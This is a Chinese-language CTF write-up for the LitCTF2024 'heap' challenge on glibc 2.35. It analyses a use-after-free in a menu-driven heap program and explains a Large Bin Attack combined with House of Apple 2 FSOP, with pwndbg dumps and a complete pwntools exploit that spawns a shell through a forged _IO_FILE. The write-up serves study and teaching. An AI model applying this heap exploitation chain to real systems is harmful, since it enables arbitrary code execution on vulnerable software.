LitCTF2024 heap-2.35

在 glibc 2.34 及以后的版本中，诸如 __free_hook 和 __malloc_hook 这类极易被劫持的全局函数指针被彻底移除了。因此，安全研究人员将目光转向了 FSOP (File Stream Oriented Programming)。你提供的这段 EXP 正是利用了 Large Bin Attack 结合 House of Apple 2 技术来实现任意代码执行的。

House of Apple 2 是一种基于 _IO_FILE 的利用链。它的终极目标是：在不劫持 vtable 指针（通常受到 CFI/vtable 检查保护）的情况下，利用合法的 _IO_wfile_jumps vtable 内部的回调机制来执行 system 函数。

当程序异常终止或调用 exit() 时，glibc 会遍历全局链表 _IO_list_all 并刷新所有流（调用 _IO_flush_all_lockp）。如果我们将 _IO_list_all 指向我们伪造的 _IO_FILE 结构，并将该结构体的 vtable 设为合法的 _IO_wfile_jumps，就会顺次发生以下调用：

  1. 调用 _IO_OVERFLOW，即 _IO_wfile_overflow。
  2. 在 _IO_wfile_overflow 中，如果满足一定条件，会调用 _IO_wdoallocbuf。
  3. _IO_wdoallocbuf 会调用宽字符虚表（_wide_vtable）中的 doallocate 函数：fp->_wide_data->_wide_vtable->doallocate(fp)。

在 House of Apple 2 中，攻击者可以完全伪造 _wide_data 和 _wide_vtable，将 doallocate 替换为 system 的地址。由于调用时传入的参数 fp 就是我们伪造的结构体本身的地址，只要在结构体开头写入 /bin/sh 或 ;sh，就能完美执行 system(“;sh”)。

参考资料：https://c-lby.top/2024/2024-litctf-wp/#%E7%89%88%E6%9C%AC%E7%89%B9%E6%80%A7-3

1775037680353-68e853cf-6adc-43c4-9c90-8752b7d439c2.png

题目分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = 0;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        Exit();
      default:
        puts("error!");
        break;
    }
  }
}
1
2
3
4
5
6
7
8
9
int menu()
{
  puts("1. create");
  puts("2. delete");
  puts("3. show");
  puts("4. edit");
  puts("5. exit");
  return printf(">>");
}

create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 create()
{
  __int64 size_1; // rax
  signed int index_0; // ebx
  signed int index; // [rsp+0h] [rbp-20h] BYREF
  unsigned int size; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  index = 0;
  size = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &index);
  if ( (unsigned int)index >= 0x10 || ptr[index] )
  {
    puts("error !");
    return 0;
  }
  else
  {
    printf("size? ");
    __isoc99_scanf("%d", &size);
    index_0 = index;
    ptr[index_0] = malloc((int)size);
    if ( !ptr[index] )
    {
      puts("malloc error!");
      exit(1);
    }
    size_1 = size;
    ptr_size[index] = size;
  }
  return size_1;
}

设置了最多 16 个堆，不过并没有对堆的 size 进行限制。他的内容和大小是分开放的，都在 .bss 段。1775038430601-0a99828c-3c31-4256-8e4f-3c61aae96e14.png

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void delete()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  index = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &index);
  if ( index < 0x10 && ptr[index] )
    free((void *)ptr[index]);
  else
    puts("no such chunk!");
}

这里一眼 UAF，free 后没有置 0

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  index = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &index);
  if ( index < 0x10 && ptr[index] )
    return printf("content : %s\n", (const char *)ptr[index]);
  puts("no such chunk!");
  return 0;
}

用printf来打印chunk内容，有一点需要注意就是\x00会被截断。

exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __noreturn Exit()
{
  int n; // [rsp+Ch] [rbp-4h]

  for ( n = 0; n <= 15; ++n )
  {
    if ( !ptr[n] )
    {
      free((void *)ptr[n]);
      ptr[n] = 0;
      ptr_size[n] = 0;
    }
  }
  exit(0);
}

EXP 思路：

封装函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def cmd(choice):
    r.recvuntil(b'>>')
    r.sendline(str(choice).encode())


def add(idx, size):
    cmd(1)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'size? ')
    r.sendline(str(size).encode())


def delete(idx):
    cmd(2)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())


def show(idx):
    cmd(3)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
    cmd(4)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'content : ')
    r.send(content)


def exit():
    cmd(5)

泄露 Libc 与 Heap 基地址：

1
2
3
4
5
6
7
8
9
10
11
12
add(8, 0x18)  # 辅助 Chunk，后面用于覆盖 Chunk 0 的头部
add(0, 0x510) # 攻击的主体 Chunk 0
add(1, 0x30)  # 隔断块, 防止 Chunk 0 和 2 合并
add(2, 0x520) # 用于泄露和布置 Large Bin Attack 的 Chunk 2
add(3, 0x30)  # 隔断块，防止 Chunk 2 与 Top Chunk 合并

delete(2)     # Chunk 2 被释放，进入 Unsorted Bin
gdb.attach(r)
add(4, 0x530) # 申请一个比 0x520 大的块
gdb.attach(r)

show(2)

在第一个断点处

我们先释放 chunk2 让他进入 UnSortedbin，在利用一次申请大块让 free chunk 放入 Largebin：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> heap                                                                                                                                                  
Allocated chunk | PREV_INUSE                                                                                                                                  
Addr: 0x564c49679000                                                                                                                                          
Size: 0x290 (with flag bits: 0x291)                                                                                                                           
                                                                                                                                                              
Allocated chunk | PREV_INUSE                                                                                                                                  
Addr: 0x564c49679290                                                                                                                                          
Size: 0x20 (with flag bits: 0x21)                                                                                                                             
                                                                                                                                                              
Allocated chunk | PREV_INUSE                                                                                                                                  
Addr: 0x564c496792b0                                                                                                                                          
Size: 0x520 (with flag bits: 0x521)                                                                                                                           
                                                                                                                                                              
Allocated chunk | PREV_INUSE                                                                                                                                  
Addr: 0x564c496797d0                                                                                                                                          
Size: 0x40 (with flag bits: 0x41)                                                                                                                             
                                                                                                                                                              
Free chunk (unsortedbin) | PREV_INUSE                                                                                                                         
Addr: 0x564c49679810                                                                                                                                          
Size: 0x530 (with flag bits: 0x531)                                                                                                                           
fd: 0x7f8f60c19ce0                                                                                                                                            
bk: 0x7f8f60c19ce0                                                                                                                                            
                                                                                                                                                              
Allocated chunk                                                                                                                                               
Addr: 0x564c49679d40                                                                                                                                          
Size: 0x40 (with flag bits: 0x40)                                                                                                                             
                                                                                                                                                              
Top chunk | PREV_INUSE                                                                                                                                        
Addr: 0x564c49679d80
Size: 0x20280 (with flag bits: 0x20281)

在第二个断点处：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Free chunk (largebins) | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                        
Addr: 0x5639ff7c6810                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x530 (with flag bits: 0x531)                                                                                                                                                                                                                                                                                                                                                                        
fd: 0x7f8dcaa1a110                                                                                                                                                                                                                                                                                                                                                                                         
bk: 0x7f8dcaa1a110                                                                                                                                                                                                                                                                                                                                                                                         
fd_nextsize: 0x5639ff7c6810                                                                                                                                                                                                                                                                                                                                                                                
bk_nextsize: 0x5639ff7c6810  

Allocated chunk                                                                                                                                                                                                                                                                                                                                                                                            
Addr: 0x5639ff7c6d40                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x40 (with flag bits: 0x40)                                                                                                                                                                                                                                                                                                                                                                          

Allocated chunk | PREV_INUSE
Addr: 0x5639ff7c6d80
Size: 0x540 (with flag bits: 0x541)

Top chunk | PREV_INUSE
Addr: 0x5639ff7c72c0
Size: 0x1fd40 (with flag bits: 0x1fd41)

  • 移入 Large Bin：当我们释放 Chunk 2 后，它在 Unsorted Bin 里。紧接着我们申请一个更大的 Chunk 4 (0x530)。glibc 在分配时，会遍历 Unsorted Bin 寻找合适的块，发现 Chunk 2 太小不满足要求，就会把它整理进对应的 Large Bin 中。
  • 指针生成：一旦进入 Large Bin，Chunk 2 的头部就不只有 fd 和 bk 了，还会多出两个指针：fd_nextsize 和 bk_nextsize。
  • fd / bk 指向 main_arena 内部，所以 show(2) 可以泄露 libc 基址。
  • fd_nextsize / bk_nextsize 用于连接同等大小的块。因为当前 Large Bin 里只有它自己，这两个指针会指向它自身的堆地址。

这样当你去 show(2)的时候就可以打印出 largebin 的地址

1775042851565-77a7ab59-7cd0-4d60-b8e0-7bdc3b53a541.png

计算关键 _IO_FILE 文件流

1
2
3
4
5
6
7
8
9
10
11
large = u64(r.recv(6).ljust(8, b'\0'))   # 其实是main_arena+0x490

libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_'] ###存疑###

_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']

success('libcbase: ' + hex(libcbase))
gdb.attach(r)
pause()
1775042921362-e7c182ee-5529-439a-bfea-fd475bbf3fd3.png

泄露 largebin 的起始地址

我们可以想办法泄露 largebin 的地址，从而使栈上所有的堆地址都是地址可知且可控的。

1
2
3
4
5
6
edit(2, b'A' * 0x10)
# pause()
show(2)
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))
1775043721827-4e11b4e6-ac91-40e5-b781-eae661d89c0e.png

printf 也就是 show 函数调用的打印函数遇到 \x00 会停止打印，如果我们不覆盖 fd 和 bk 指针，打印出的内容在碰到第一个 NULL 字节时就会中断。

当我们把 fd 和 bk 指针全部用 a 填满，就会继续打印出后面的 fd_next 和 bk_next 指针。

当 largebins 上只有一个 bin 的时候，他的 fd_nextsize 和 bk_nextsize 都会指向该 bin 的起始位置。

Large Bin Attack 劫持 _IO_list_all

这是接管程序控制流的最关键一步。我们的目标是把 _IO_list_all 这个全局变量的值，

篡改为我们可控的 Chunk 0 的地址。

1
2
3
4
5
6
delete(0) # 将 Chunk 0 放入 Unsorted Bin

# 篡改处于 Large Bin 中的 Chunk 2 的 bk_nextsize
edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))

add(5, 0x550) # 触发整理，将 Chunk 0 移入 Large Bin

  • 我们利用 UAF 漏洞修改了 Chunk 2 的指针。我们将它的 bk_nextsize 修改为了 _IO_list_all - 0x20。

  • 当我们 add(5, 0x550) 时，glibc 发现 Unsorted Bin 里的 Chunk 0 (0x510) 不满足需求，于是把它也移入 Large Bin。

  • 在将 Chunk 0 插入 Large Bin 且排在 Chunk 2 后面时，glibc 源码中会执行类似这样的解链逻辑：

    1
    victim->bk_nextsize->fd_nextsize = victim

  • victim 就是正在被插入的 Chunk 0，而 victim->bk_nextsize 被我们伪造为了 _IO_list_all - 0x20。

  • fd_nextsize 在结构体中的偏移恰好是 0x20。

  • 所以，这行代码等价于：(_IO_list_all - 0x20 + 0x20) = Chunk0_addr。

  • 结果导致_IO_list_all 指向了 Chunk 0 的头部

House Of Apple2 准备开始

在 _IO_list_all 指向了 Chunk0，glibc 把它当成了一个 _IO_FILE 结构体。我们需要在 Chunk 0 里布置假数据

1
2
3
chunk_addr = heap - 0x560  # Chunk 0 的 Header 地址
# 利用 Chunk8 覆盖 Chunk0 的 Header (即 prev_size 字段)
edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')

再复习一下 _IO_FILE 文件结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *_IO_list_all
$1 = {
  file = {
    _flags = -72540026,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7e1a8a0 <_IO_wide_data_2>,  // 这是我们需要劫持的成员
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7e17600 <_IO_file_jumps>
}
  • _IO_list_all 指向的是 Chunk0 的Header，而 _IO_FILE 的第一个成员是 _flags 。这意味着 Chunk 0 的 prev_size 字段被当成了 _flags，以此类推。
  • edit(8) 恰好利用了堆块复用的特性，覆盖了 Chunk 0 的 prev_size。
  • 0xfffff7f5 是精心计算的 flags 魔法值，用于绕过后续的条件检查。紧跟在后面的 ;sh\x00 则是待会儿传给 system 的参数。###？？？###存疑
  • 我们最终执行的是 system("\xf5\xf7\xff\xff;sh\x00")。使用分隔符；可以有效的执行 system(‘sh’)

伪造 _IO_FILE 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 构造主体
fake_io_file = p64(0)*2 + p64(1) + p64(2) 
# 绕过 _IO_wfile_overflow 的 write_ptr 等校验

fake_io_file = fake_io_file.ljust(0xa0 - 0x10, b'\0') + p64(chunk_addr + 0x100) 
# [偏移 0xa0]: 伪造 _wide_data 结构体指针

fake_io_file = fake_io_file.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff)  
# [偏移 0xc0]: _mode 置为 -1，触发宽字符流逻辑

fake_io_file = fake_io_file.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps)     
# [偏移 0xd8]: vtable 填写真实的 _IO_wfile_jumps，绕过 vtable 保护


# 伪造 _wide_data 结构体 (被放在偏移 0x100 处)
fake_io_file = fake_io_file.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(chunk_addr + 0x200) 
# [偏移 0xe0]: 伪造 _wide_vtable 指针

# 伪造 _wide_vtable 虚表 (被放在偏移 0x200 处)
fake_io_file = fake_io_file.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system) 
# [偏移 0x68]: 将 doallocate 函数指针替换为 system 的地址

edit(0, fake_io_file)

这段代码的本质就是在一个扁平的内存块 (Chunk 0) 中，同时嵌合了 _IO_FILE 主体、_wide_data 结构体和 _wide_vtable 虚表，并将它们通过地址偏移相互勾连起来。

exit 触发

1
exit()

当程序调用 exit() 或者从 main 函数返回时，glibc 的 IO 刷新机制启动，发生如下连锁反应：

  1. exit() 调用 _IO_flush_all_lockp，遍历 _IO_list_all 找到了我们的 Chunk 0。
  2. 检查 _mode 等于 -1，进入宽字符流处理分支。
  3. 从合法的 _IO_wfile_jumps 虚表中调用 _IO_WFOVERFLOW (即 _IO_wfile_overflow 函数)。
  4. _IO_wfile_overflow 内部经过一小段条件判断（被我们伪造的 0, 0, 1, 2 绕过），随后调用 _IO_wdoallocbuf(fp)。
  5. _IO_wdoallocbuf 内部有一句致命代码：fp->_wide_data->_wide_vtable->doallocate(fp)。
  6. 根据我们在 Chunk 0 中的布局，这句代码被直接翻译成了：system(Chunk0 Header )。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# r = process('./heap')
r = remote('node4.anna.nssctf.cn',20340)
e = ELF('./heap')
# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')  # ubuntu22打本地
libc = ELF('./libc.so.6')
# context.terminal=["tmux","splitw","-h"]
one = [0xe6aee, 0xe6af1, 0xe6af4]

def cmd(choice):
    r.recvuntil(b'>>')
    r.sendline(str(choice).encode())


def add(idx, size):
    cmd(1)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'size? ')
    r.sendline(str(size).encode())


def delete(idx):
    cmd(2)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())


def show(idx):
    cmd(3)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
    cmd(4)
    r.recvuntil(b'idx? ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'content : ')
    r.send(content)


def exit():
    cmd(5)


add(8, 0x18)
add(0, 0x510)
add(1, 0x30)  # 0x20的话chunk2的地址是00结尾，printf没法泄露，所以要0x30
add(2, 0x520)
add(3, 0x30)
delete(2)
# dbg()
add(4, 0x530)
show(2)
large = u64(r.recv(6).ljust(8, b'\0'))  # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']

success('libcbase: ' + hex(libcbase))

edit(2, b'A' * 0x10)
# pause()
show(2)
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))

delete(0)

edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))

add(5, 0x550)

chunk_addr = heap - 0x560  # chunk0的chunk地址
edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')

fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(
    0xa0 - 0x10, b'\0') + p64(chunk_addr + 0x100)  # _wide_data
fake_io_file = fake_io_file.ljust(
    0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff)  # _mode
fake_io_file = fake_io_file.ljust(
    0xd8 - 0x10, b'\0') + p64(io_wfile_jumps)  # vtable
fake_io_file = fake_io_file.ljust(
    0x100 - 0x10 + 0xe0, b'\0') + p64(chunk_addr + 0x200)
fake_io_file = fake_io_file.ljust(
    0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)

edit(0, fake_io_file)
# dbg()
exit()# 触发abort()

r.interactive()

1775036888351-b2445cd0-7c2d-428a-bd1d-cb7d0043c924.png

更新: 2026-04-15 11:49:36
原文: https://www.yuque.com/idcm/wnemg9/pgnci7oshh1drgz4